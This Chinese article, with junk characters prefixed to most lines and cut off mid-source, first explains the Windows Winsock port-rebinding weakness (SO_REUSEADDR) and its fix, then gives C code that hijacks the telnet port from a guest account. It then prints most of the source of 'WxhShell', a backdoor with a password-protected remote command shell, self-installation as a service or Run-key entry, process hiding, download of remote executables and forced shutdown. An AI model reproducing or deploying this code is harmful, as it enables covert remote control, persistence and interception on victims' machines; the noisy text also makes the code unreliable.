在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
B\|^$z2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B}y#AVSA ]We0 RD"+ saddr.sin_family = AF_INET;
9l[C&0w#\ d]_].D$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t T
A o|n+;h
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V#4ox km ~s?y[yy6i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DjZTr}%q blG?("0! 这意味着什么?意味着可以进行如下的攻击:
KKg\n^ ndBqXS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*!NW!,R 9$(N q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
otdv;xI9 ykx13|iR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
KLj/,ehD
! MD0d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
INCanE`+ !t)uRJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{)Zz4 iF:NDqc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+5GC?cW +Z9ua%,3% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ncsk(`lo 0|\JbM #include
m*e8j[w# #include
qIy9{LF #include
Vn^8nS #include
O" [#g DWORD WINAPI ClientThread(LPVOID lpParam);
.(Z^[C} int main()
"|WKK} {
d.>O`.Mu)} WORD wVersionRequested;
)C$Ij9<A DWORD ret;
Py9:(fdS WSADATA wsaData;
vXSpn71Jb BOOL val;
Y}\3PaUa SOCKADDR_IN saddr;
UBuG12U4Y SOCKADDR_IN scaddr;
*MWI`=c int err;
{Z$]Rj SOCKET s;
Tz(Dhb, SOCKET sc;
lP(<4mdP int caddsize;
MzW!iG HANDLE mt;
~vZ1.y4 DWORD tid;
TYxi&;w wVersionRequested = MAKEWORD( 2, 2 );
zs-,Y@ZL err = WSAStartup( wVersionRequested, &wsaData );
cnDBT3$~Z if ( err != 0 ) {
naY#`xig printf("error!WSAStartup failed!\n");
nrTCq~LO( return -1;
2Y}A9Veb }
esv<b>`R saddr.sin_family = AF_INET;
4%>tk 8 [ 5B{Eg? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,+5!1>\ (elkk# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@<S'f<>g saddr.sin_port = htons(23);
%CrpUx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
61b<6r0o {
'Te'wh=Y printf("error!socket failed!\n");
|L)qH"Eo return -1;
@<1T&X{Z! }
?`SBGN; val = TRUE;
y0t-e //SO_REUSEADDR选项就是可以实现端口重绑定的
x}7Xd P.2$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0w$1Yx~C {
aTLr%D:Ka printf("error!setsockopt failed!\n");
%A@U7gqc return -1;
%8"Aq }
y$|OE%S //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
y= 1(o3( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,ce$y4%( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7ws[Rp8 B/EGaYH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{RH)&k&% {
Fz$^CMw5K ret=GetLastError();
\D! I"mr printf("error!bind failed!\n");
g+k
yvI7o return -1;
Ys%d }
N1]P3 listen(s,2);
Wc/B_F?2 while(1)
Dd,]Y}P {
.18MMzdN caddsize = sizeof(scaddr);
%B# 8 //接受连接请求
hTAZGV( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@%As>X<3t if(sc!=INVALID_SOCKET)
p:4oA<V {
wIQt
f|ZI> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#|} EPD9$ if(mt==NULL)
yu'@gg(
{
,NU`aG- printf("Thread Creat Failed!\n");
y-:d`>b>\ break;
R?kyJ4S }
K~\Ocl }
(DKQHL; CloseHandle(mt);
#Ic-?2Gn4< }
~w$ ^`e!] closesocket(s);
U#n1N7P|$F WSACleanup();
@yn1#E, return 0;
;U<rFs40 }
Qnv)\M1 DWORD WINAPI ClientThread(LPVOID lpParam)
nA#dXckoc {
:\G`}_db' SOCKET ss = (SOCKET)lpParam;
)>^!X$`3 SOCKET sc;
"[\TL#/ unsigned char buf[4096];
?xCWg.#l4V SOCKADDR_IN saddr;
#6Fc-ysk: long num;
140_WV?7 DWORD val;
y gTc
Y DWORD ret;
]AB4w+6! //如果是隐藏端口应用的话,可以在此处加一些判断
@avG*Mr^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
p!~V@l saddr.sin_family = AF_INET;
X~g~U|B@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V0F&a~Q saddr.sin_port = htons(23);
~fF;GtP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iXuSFman {
H}}C>p"!, printf("error!socket failed!\n");
7a<:\F}E0 return -1;
w:[\G%yQ }
FO
xZkU\e= val = 100;
+Rd;>s*.Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-f8iq[F5 {
V5HK6- T ret = GetLastError();
' u4TI=[6 return -1;
.d%CD`8! }
sb*)K,U if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=E-V-?N\ {
]9NA3U7F ret = GetLastError();
`KmM*_a return -1;
~~3 BV, }
?hnxc0~P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:PDyc(s{ {
E(Y}*.\]#s printf("error!socket connect failed!\n");
XlU`jv+ closesocket(sc);
Z(a,$__ closesocket(ss);
3g5
n>8- return -1;
/X97dF)zt }
59M\uVWR while(1)
B)u*c]<qU {
@ZGD'+zd? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
uBfSS\SX| //如果是嗅探内容的话,可以再此处进行内容分析和记录
mvt%3zCB! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
v,A8Mk2s# num = recv(ss,buf,4096,0);
PFPZ]XI%F if(num>0)
J`d;I#R%c send(sc,buf,num,0);
._US8 else if(num==0)
+I r break;
YS+|n%? num = recv(sc,buf,4096,0);
zqa7!ky if(num>0)
FWDAG$K@0 send(ss,buf,num,0);
C{U"Nsu+1 else if(num==0)
'o]8UD( break;
RD0=\!w *5 }
8(""ui8 closesocket(ss);
pt=H?{06 closesocket(sc);
]}0QrD return 0 ;
&Z6s\r% }
*VgiJ C0 %yGLh& SK;c
D>) ==========================================================
o==:e 3DS&-rN 下边附上一个代码,,WXhSHELL
Iju9#b6 F!&$Z
. ==========================================================
|WDMyKf6J D
$3Mg #include "stdafx.h"
q=`i bE>"DPq #include <stdio.h>
7HM%Cd #include <string.h>
7FGi+ #include <windows.h>
4Bz:n #include <winsock2.h>
;30SnR/ #include <winsvc.h>
nb_$g@ 03 #include <urlmon.h>
`D={l29H b,uudtlH #pragma comment (lib, "Ws2_32.lib")
EN;s
8sC! #pragma comment (lib, "urlmon.lib")
=WM^i86 5V@c~1\ #define MAX_USER 100 // 最大客户端连接数
'j(F=9) #define BUF_SOCK 200 // sock buffer
'Uu!K! #define KEY_BUFF 255 // 输入 buffer
yttaZhK^u kBg8:bo~ #define REBOOT 0 // 重启
aGq1YOD[$ #define SHUTDOWN 1 // 关机
q1?}G5a? :B
9> #define DEF_PORT 5000 // 监听端口
Gqs)E"h Tqj:C8K{ #define REG_LEN 16 // 注册表键长度
D,P{ ,/ #define SVC_LEN 80 // NT服务名长度
JK'FJ}Z4 l~Rd\.O // 从dll定义API
szC<ht?z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
X)b@ia'"Wp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7B{LRm6;Vu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
d=d*:<Zx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7oV$TAAf P+bA>lJd // wxhshell配置信息
chA7R'+LA struct WSCFG {
Xli$4 uL
int ws_port; // 监听端口
a|eHo%Qt char ws_passstr[REG_LEN]; // 口令
VMIX=gTZ int ws_autoins; // 安装标记, 1=yes 0=no
7-# char ws_regname[REG_LEN]; // 注册表键名
+FJ+,|i char ws_svcname[REG_LEN]; // 服务名
y7~y@ 2 char ws_svcdisp[SVC_LEN]; // 服务显示名
o&ETs)n| char ws_svcdesc[SVC_LEN]; // 服务描述信息
+^|_vq^XR char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,8G6q_ud int ws_downexe; // 下载执行标记, 1=yes 0=no
T7~H|% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@L?KcGD char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7BkY0_KK RG_.0'5=hc };
I>JBGR`j F<TIZ^gFP // default Wxhshell configuration
#ADm^UT^ struct WSCFG wscfg={DEF_PORT,
vb`R+y@ "xuhuanlingzhe",
Ake@krh>$ 1,
75^AO>gt
"Wxhshell",
5Deo}(3 "Wxhshell",
ez<V "WxhShell Service",
2"6bz^>} "Wrsky Windows CmdShell Service",
]Bj2; <@y "Please Input Your Password: ",
LS]0 p# 1,
{hFH6]TA "
http://www.wrsky.com/wxhshell.exe",
$Da?)Hz'F "Wxhshell.exe"
y#zO1Nig` };
Z5|BwM );;UA6CD // 消息定义模块
.F},Z[a& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T/]f5/ char *msg_ws_prompt="\n\r? for help\n\r#>";
.tcdqL-' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nO+R>8,Q char *msg_ws_ext="\n\rExit.";
Jb*E6-9G char *msg_ws_end="\n\rQuit.";
v=d16 char *msg_ws_boot="\n\rReboot...";
CorV!H4
char *msg_ws_poff="\n\rShutdown...";
F:N8{puq5 char *msg_ws_down="\n\rSave to ";
vb6kr?-i* D$N;Qb char *msg_ws_err="\n\rErr!";
l"-Z#[ char *msg_ws_ok="\n\rOK!";
o$Ju\(Y$<+ m~0Kos%^*b char ExeFile[MAX_PATH];
! k 1 Ge+ int nUser = 0;
G>Hg0u0!, HANDLE handles[MAX_USER];
$b(CN+# int OsIsNt;
rCUGaf~ nF
B]#LLv SERVICE_STATUS serviceStatus;
]f_`w81[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
h0$Y;=YA 6EeO\Qj{ // 函数声明
|j~l%d*<w int Install(void);
9l(T>B2a int Uninstall(void);
vUCmm<y int DownloadFile(char *sURL, SOCKET wsh);
;5DDV6 int Boot(int flag);
\PWH(E9 void HideProc(void);
Wdi`ZE int GetOsVer(void);
0SDnMij&bf int Wxhshell(SOCKET wsl);
#%EHcgF void TalkWithClient(void *cs);
4Cv*zn int CmdShell(SOCKET sock);
(x
fN=Te,- int StartFromService(void);
``%yVVg}
int StartWxhshell(LPSTR lpCmdLine);
k/(]1QnW YjH~8= = VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>,[@SF% VOID WINAPI NTServiceHandler( DWORD fdwControl );
eR0$CTSw DD2K>1A1 // 数据结构和表定义
.+,U9e:% SERVICE_TABLE_ENTRY DispatchTable[] =
"9 f+F {
"([/G?QAG {wscfg.ws_svcname, NTServiceMain},
h+ud[atk. {NULL, NULL}
tuLNGU };
T<-_#}.Hn Ss%1{s~ok // 自我安装
u"4B5D int Install(void)
PD&gC88 {
hH HQmK<r
char svExeFile[MAX_PATH];
axpZ`BUc HKEY key;
9:P]{}
strcpy(svExeFile,ExeFile);
wZs 2aa <{GVA0nr // 如果是win9x系统,修改注册表设为自启动
uFhaN\S if(!OsIsNt) {
A;
wT`c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
UWidT+'Sa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J ZkQ/vp( RegCloseKey(key);
Ptf(p` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a>x6n3{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*MB>,HU RegCloseKey(key);
g(Q1d-L4e return 0;
K|YB)y }
aCI3Tx&2qT }
BlQX$s] }
^Kg n:l else {
u~aRFQ: Qz3Z_V4k9 // 如果是NT以上系统,安装为系统服务
5C&*PJ~WA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4hODpIF if (schSCManager!=0)
SiUu**zC {
$rI 1|;^ SC_HANDLE schService = CreateService
Fn7OmxfD (
vFB^h1k~.M schSCManager,
ZP5 !O[Ut wscfg.ws_svcname,
JJM<ywPGp wscfg.ws_svcdisp,
2 rr=FJ SERVICE_ALL_ACCESS,
[orL.D] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=MMd& SERVICE_AUTO_START,
}zx
~ SERVICE_ERROR_NORMAL,
!1fZ7a svExeFile,
O`Gq7=X NULL,
vaGF(hfTA NULL,
N@L{9ak1 NULL,
e"52'zAV- NULL,
~7 U~ NULL
w7o`BR );
P6R_W if (schService!=0)
RFyMRE!? {
#,u|*O: CloseServiceHandle(schService);
z V\+za, CloseServiceHandle(schSCManager);
t2s/zxt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wV"`Du7E; strcat(svExeFile,wscfg.ws_svcname);
"J`&"_CyZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Be=rBrI> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
CF2Bd:mfZ RegCloseKey(key);
@J"tM. return 0;
VOLj#H }
O|~C qb }
EgU#r@7I CloseServiceHandle(schSCManager);
=jJEl=*S }
o]Rlivahm }
qQi\/~Y[: (XQuRL<X return 1;
6:O<k2=2 }
Ca
PHF@6WN weSq|f // 自我卸载
kB> ~Tb0 int Uninstall(void)
9MYk5q.X: {
=y4dR#R(\ HKEY key;
QCF'/G !6T"J!F# if(!OsIsNt) {
~?AEtl#&" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C=/B\G/.9 RegDeleteValue(key,wscfg.ws_regname);
J+J,W5t^ RegCloseKey(key);
#uw&u6*\q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]mb8R:a1 RegDeleteValue(key,wscfg.ws_regname);
U8w_C\Q RegCloseKey(key);
E5d$n*A return 0;
*q*3SP/ }
$Sgf jm }
a/,>fv9;$ }
w8UuwFG?< else {
Y8\P"qb ba);f[> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2t-w0~O if (schSCManager!=0)
\A"o[A2v {
/.Ak'Vmi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%, kP_[!>Q if (schService!=0)
:^.wjUI {
rNii,_ if(DeleteService(schService)!=0) {
FM >ae-L- CloseServiceHandle(schService);
[d6! CloseServiceHandle(schSCManager);
|)29"_Kk5 return 0;
jC9us>b }
Xq*^6*E-} CloseServiceHandle(schService);
o@Oz
a }
^Tm`motzh CloseServiceHandle(schSCManager);
Ki\.w~Qs }
8Ojqm#/f }
_U<fS /|1p7{km return 1;
/Vn>(;lo }
!Qe;oMqy} Nr4:Gih // 从指定url下载文件
?Gki0^~J int DownloadFile(char *sURL, SOCKET wsh)
?;XEb\Kf {
h'):/}JPl HRESULT hr;
2Wz8E2. char seps[]= "/";
_\}'5nmw\
char *token;
4Z( #;9f char *file;
^dHQ<L3.* char myURL[MAX_PATH];
zTF{ g+ char myFILE[MAX_PATH];
O?JJE8~'] NXU:b"G
S strcpy(myURL,sURL);
V&M*,#(? token=strtok(myURL,seps);
3'0Pl8 while(token!=NULL)
=?<WCR
C* {
`Vb file=token;
]:<!( token=strtok(NULL,seps);
h[ DNhR }
dAh.I3 cz>,sz~i GetCurrentDirectory(MAX_PATH,myFILE);
z-5`6aE9< strcat(myFILE, "\\");
tnRf!A;m strcat(myFILE, file);
oJz2-PmX send(wsh,myFILE,strlen(myFILE),0);
5i!Q55Yv=, send(wsh,"...",3,0);
3!"N;Q" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
9\?OV@ if(hr==S_OK)
B `~EA] d return 0;
$YL9 vJV else
g* q#VmE return 1;
P[nc8z[
~[g(@Xt }
jFj11w1FrA Jz}nV1G(jz // 系统电源模块
#DTKz]i? int Boot(int flag)
#z*,CU#S9d {
H_DCdUgC' HANDLE hToken;
K p3}A$uV TOKEN_PRIVILEGES tkp;
tIsWPt]Y m1"m KM if(OsIsNt) {
O
VV@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m[9.'@ye LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:C~Ar] tkp.PrivilegeCount = 1;
Ott6y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M!UTqf7XL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
2Je$SE8 if(flag==REBOOT) {
pP. _%5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d7OygDb < return 0;
MMM
tB6 }
3Vb4zZsl else {
> H!sD\b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b_0THy.Z return 0;
Xz+%Ym }
rhJ&* 0M }
e~o!Qm else {
AjC:E+g if(flag==REBOOT) {
:t}\%%EbmE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
R'Sd'pSDN return 0;
h)KHc/S }
jEc_!Q else {
YG "Ta|@5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
L:R4&|E/t return 0;
TlqHj }
IGdiIhH~2 }
^|]&"OaB
Z
LK^|JE u return 1;
}u Y2-l }
$^Fl*:6 DD|0?i // win9x进程隐藏模块
'solCAy void HideProc(void)
Q#bW"},^k {
9mF' K`4rUEf}V" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(!~cOx
if ( hKernel != NULL )
S*h52li {
h3ygL" k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
jh5QIZf= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
NVyBEAoh FreeLibrary(hKernel);
w_9^YO!! }
]g_VPx" mzgt>Qtkz= return;
P*|N)S)X% }
q!Du
J X8Z?G,[H // 获取操作系统版本
t*{L[c9.Uq int GetOsVer(void)
,+=9Rp`md {
}V?m
=y [ OSVERSIONINFO winfo;
%b6$N_M{H1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_:x]'w% GetVersionEx(&winfo);
9^gYy&+>6] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E
C?}iP return 1;
BZq#OAp else
'\:4Ijp<" return 0;
({f}Z-% }
!`69.v 9:j?Jvw$ // 客户端句柄模块
YagfCi ? int Wxhshell(SOCKET wsl)
g}an
5a {
/<LZt<K SOCKET wsh;
e~r/!B5X struct sockaddr_in client;
XJ18(Q|w' DWORD myID;
K$"#SZEi Ayz*2N`% while(nUser<MAX_USER)
> I2rj2M# {
S|85g1}t int nSize=sizeof(client);
*t@A-Sn wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T(J'p4 if(wsh==INVALID_SOCKET) return 1;
LGP"S5V r$7. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&D,Iwq if(handles[nUser]==0)
d?,'$$ aB closesocket(wsh);
xc^@" else
asWk]jjMG nUser++;
"<,lqIqA; }
GkGiQf4hh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
F%OP,>zl Y(Q
0m|3P return 0;
>O'\
jp}$l }
_~kw^!p>Kr 'Wlbh:=$ // 关闭 socket
bJd|mm/v void CloseIt(SOCKET wsh)
=i/Df? {
bA;OphO( closesocket(wsh);
a:FU- ^B4~ nUser--;
O-?rFNavxp ExitThread(0);
bI):-2&s} }
qmS9*me
{ mF4W4~" // 客户端请求句柄
0PzSp ] void TalkWithClient(void *cs)
qu=~\t1[6 {
Jo? LPR
\6 ^q7V%{54 SOCKET wsh=(SOCKET)cs;
p`tz*ewC char pwd[SVC_LEN];
%~rEJB@{ char cmd[KEY_BUFF];
*x36;6~W; char chr[1];
Llfl I int i,j;
\)PB p v{u3[c
while (nUser < MAX_USER) {
-hd i~@gI5[k+ if(wscfg.ws_passstr) {
^e:z ul{;] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}:m#}s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|t,sK aL //ZeroMemory(pwd,KEY_BUFF);
$BqiC!~ i=0;
(tK_(gO while(i<SVC_LEN) {
sh/,"b2!P ) CGQ} // 设置超时
_c5@)I~ fd_set FdRead;
[2:d@=%. struct timeval TimeOut;
ZO+RE7f*?c FD_ZERO(&FdRead);
SN6 QX!3 FD_SET(wsh,&FdRead);
Ly=. TimeOut.tv_sec=8;
A95f!a TimeOut.tv_usec=0;
;jPsS^X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
eI8o#4nT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/s?%ft#-9o V@'Xj .ze if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/b+~BvTh pwd
=chr[0]; "~r<ZG
if(chr[0]==0xd || chr[0]==0xa) { -l[H]BAMXy
pwd=0; > ,6
break; ,&[o:jTk
} K1
f1T
i++; R|?n
} j{C~wy!J
SSe;&Jk2d
// 如果是非法用户,关闭 socket :ez76oGyc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Xlo-gHk
} AD;m[u7
[* xdILj
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *|&Y ,H?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k>i88^kPV
S|tD8A
while(1) { Z%~}*F}7X
^B"LT>.[
ZeroMemory(cmd,KEY_BUFF); }T_"Vg q
W ?x~"-*
// 自动支持客户端 telnet标准 fh#:j[R4e
j=0; yQJ0",w3o.
while(j<KEY_BUFF) { V_i&@<J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `E~"T0RX
cmd[j]=chr[0]; Y3@+aA
if(chr[0]==0xa || chr[0]==0xd) { ~/^fdGr
cmd[j]=0; !(*&P
break; m"L^tSD~
} [REH*_
j++; B:>:$LIL
} QPuc{NcB>
O>E}Lu;|
// 下载文件 {-)^?Zb
@
if(strstr(cmd,"http://")) { Csyh
'v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6;E3|st1X
if(DownloadFile(cmd,wsh)) @(R=4LL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g0 f4>m
else VEV?$R7;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 |z4]R,<
} jHEP1rNHE
else { `8ob Xb
lhM5a
\
switch(cmd[0]) { S @[]znH
2)BO@]n
// 帮助 fb Bu^]^S
case '?': { =8_b&4.:&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QRQ{Bq}#
break; gY+d[3N
} ?;#Q3Y+
// 安装 `yR/M"u6T
case 'i': { bAlty}U
if(Install()) HOi~eX1d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %XR(K@V
else 0MpW!|E[b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L IKuK#
break; [C!*7h
} "Lvk?k
)hx
// 卸载 E}Cz(5
case 'r': { [kJ;Uxncz~
if(Uninstall()) zE;|MU@|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S~)U{SSK
else D)MFii1J~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (jKqwVs.:
break; Az8b_:=
} K0>;4E>B
// 显示 wxhshell 所在路径 gpq ,rOIK
case 'p': { o^@#pU <
char svExeFile[MAX_PATH]; KXZG42w
strcpy(svExeFile,"\n\r"); LYAGpcG
strcat(svExeFile,ExeFile); <hzHrx'o{
send(wsh,svExeFile,strlen(svExeFile),0); Cuylozj$&
break; Dx\~#$S!=
} f0eQq;D$K
// 重启 PE.UNo>o
case 'b': { S))B^).0-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *vQ 6LF;y
if(Boot(REBOOT)) =pzTB-G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z<Z0/a2'1
else { N 75U.;U0
closesocket(wsh); <j,I@%
ExitThread(0); HFB>0<$
} e'~Qe_
break; Uhu?G0>O
} 8K^#$,.."
// 关机 xlcCL?qQj
case 'd': { -qpvVLR,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I!b"Rv=Nf-
if(Boot(SHUTDOWN)) ju:}%'
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
/1TK+E$
else { Dj= {%
closesocket(wsh); :xg
J2
ExitThread(0); ;\"5)S
} 5%wA"_
break; 9t`yv@.>N
} ty[%:eG#
// 获取shell Ud"_[JtGM
case 's': { <|'ETqP<+
CmdShell(wsh); ,or;8aYc#
closesocket(wsh); [-`s`g-
ExitThread(0); (4z_2a(Dl,
break; =f@71D1
} 2cu2S"r
// 退出 =H: N!!:
case 'x': { Obu 6k[BE.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =2*2$
CloseIt(wsh); _e8Gt6>
break; nUs=PD3)
}
6x5Q*^w
// 离开 -7oIphJ=\
case 'q': { Z9H2! Cp
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^0"fPG`
closesocket(wsh); GRpwEfG
WSACleanup(); t<+>E_Xw
exit(1); bfUKh%!M
break; j*?E~M.'1K
} ?gu!P:lZS
} GQ85ykky
} EId>%0s5
Y q/vym-O5
// 提示信息 Gqq<-drR
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %/)z!}{
} 1z; !)pG.
} DZ`,QWuA
|+~P; fG
return; O*2{V]Y
@
} +-x+c:
IxA
/_JR7BB^X,
// shell模块句柄 jn]l!nm
int CmdShell(SOCKET sock) WCaMPz
{ 6wOj,}2Mn
STARTUPINFO si; ui"`c%2n
ZeroMemory(&si,sizeof(si)); 1C=42ZZ&2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^^V+0 l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zWN]#W`
PROCESS_INFORMATION ProcessInfo; 0LGHSDb
char cmdline[]="cmd"; X+;#^A3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l d%#.~Q
return 0; :\mdVS!o
} <}mA>c'k
U_9|ED:
// 自身启动模式 <%4pvn8d?&
